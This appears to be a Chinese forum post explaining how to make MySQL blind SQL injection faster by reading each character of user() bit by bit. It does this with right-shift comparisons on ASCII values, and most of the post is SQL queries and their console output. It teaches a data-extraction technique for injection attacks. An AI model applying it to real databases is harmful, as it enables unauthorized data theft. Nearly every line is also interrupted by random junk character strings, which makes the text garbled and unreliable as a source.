关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
% q; ?7 J% ]) B: U
- ~3 @, }9 S: ]$ c. i" |8 W9 U% }

) r7 r5 {5 E# ~( p! e* d下面将以查询mysql数据库当中user()的第一位为例:
+ D) `0 B* k6 w


3 f! \) h4 V3 Q; X' wps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)

" C# j; {" ?% R$ O* j0 F
  p0 p# H$ d3 _- z5 M7 L& _
首先执行如下sql语句:
- w" `; y2 o6 L" J1 I3 J3 a/ g# [

: f9 u8 p3 X$ l! P- a6 j7 H
; x1 s! m$ u% s2 x. E- M+ Zmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
3 B  J5 ]: O  A; w* K" J

' M$ [6 p# {# H' I7 q; G
% f- d$ H3 X7 t0 V7 p2 Q: }我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的



第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1



( K' |" O, j1 j& ~4 x如果运算结果为1,说明第一位为0,不为1



+————————————–+
. R! F/ i; [( N7 u$ _
| (ascii((substr(user(),1,1))) >> 7)=0 |

% I7 |3 X, M. C# e4 _+ t) Z+————————————–+

: v5 l3 R- C9 f5 w' k. Y- O# T  D| 1 |

+————————————–+
1 W  d1 O3 G; g. w, |8 g/ }2 v$ u
1 row in set (0.00 sec)

这样我们就确定这个8bit的ascii的第一位为0
4 W- k' v- h% h5 z! M: e$ Q1 W


第二次我们来做6次右偏移来确定前两位
. g3 Y* y/ x% `' \

' y5 P: r9 r; p
- N( }0 R, ~' ]4 |$ Z0 q前两位可能是01或00,即依然可以与0做比较,

( ]; _7 N8 t- mmysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+————————————–+

+ Q' X& u& V7 ]" m5 R6 C. [- n1 Y| (ascii((substr(user(),1,1))) >> 6)=0 |

/ `7 k' }* |- a# A  T( n4 r+————————————–+
2 y4 h, t9 L7 f0 Q3 m
| 0 |

+————————————–+

1 row in set (0.00 sec)

9 ?2 X9 l1 ^( |4 n+ }: @

结果为0,即第二位为1

- t  D; @- ~0 u  \5 y( n

' c: ]! u# x, `+ o+ a开始猜测前三位为010或011



让我们看看010和011的ascii码是多少

+ \, |9 s1 e7 a6 ]( i$ k
9 `' V; O) y/ ^' T
/ L5 T1 ]' v2 q. _( u/ q3 p分别查询select b’011′ select b’010′

# k/ o. O& V6 o3 b' u
5 W$ i$ y) u6 g4 D: Q& m( g" M7 o
获得结果 010 = 2 011 = 3
: X6 B- K  q3 d  K* B

% e- M2 W- P0 h7 Y4 A
执行如下sql:

: u3 t" r: k( p# y
1 B# B8 G* S% D0 w2 r
5 j4 z- u( p+ K6 |) l' fmysql> select (ascii((substr(user(),1,1))) >> 5)=2;

* W( m& h. u2 t+————————————–+

# K6 D9 z" N: Q% ?| (ascii((substr(user(),1,1))) >> 5)=2 |

9 T3 }* T" B$ {0 Y- w0 I+————————————–+
6 @' ^5 ~) `9 [
| 0 |

: |$ P. A& E  d+————————————–+
+ z2 C$ R0 ]; V# V% @( R- r! \; g
即前三位不为010,而是011
3 W4 X0 m3 L: u; z0 G

9 `& Q$ j1 y6 a+ v
/ r3 i- ~0 Y5 \" F$ A直到获得最后一位
' i* e0 B# w% W8 F( \' u6 b  w
2 _: O* \9 D" }' l; p, H
: a" m3 ^1 l- p+ [$ ^
; C$ V" l; o) ^$ T2 r8 H  |最终结果为:01110010


$ H: C: t1 ]2 k  {$ b* u: Z" b
: i) ^' \! ?+ z: F& K% h转换一下:
* ]! `3 j" m$ y7 Y- [
. M% U& ~4 f1 Y6 M! Z% S; U
6 `8 q  k3 r2 F% [' w+ Z4 ~
select b’01110010′
- _! G: {. J4 z% M2 X, D


. [" G* l) ~) R7 J; U3 ^查询结果
# O3 M" r8 n0 X2 P/ C" A

2 U1 I' M# G# c$ W4 ^! r9 ~7 i
+————-+

| b’01110010′ |
/ u( W  R. U, q3 d( h
+————-+
% K) f* d4 o7 l) {
| r |

% Z1 V* {# i" G; ]4 \( i! _0 b+ M+————-+
! l3 a0 x( [/ w  Q( }. x# w7 ~; {
5 R6 V  \) G+ ]  ?. t5 w; Q$ q1 row in set (0.00 sec)

; ?( U$ x! f# Z9 W

这样我们就获得了user()的第一位.其它位依此类推

. u4 J+ D, u3 {+ I* U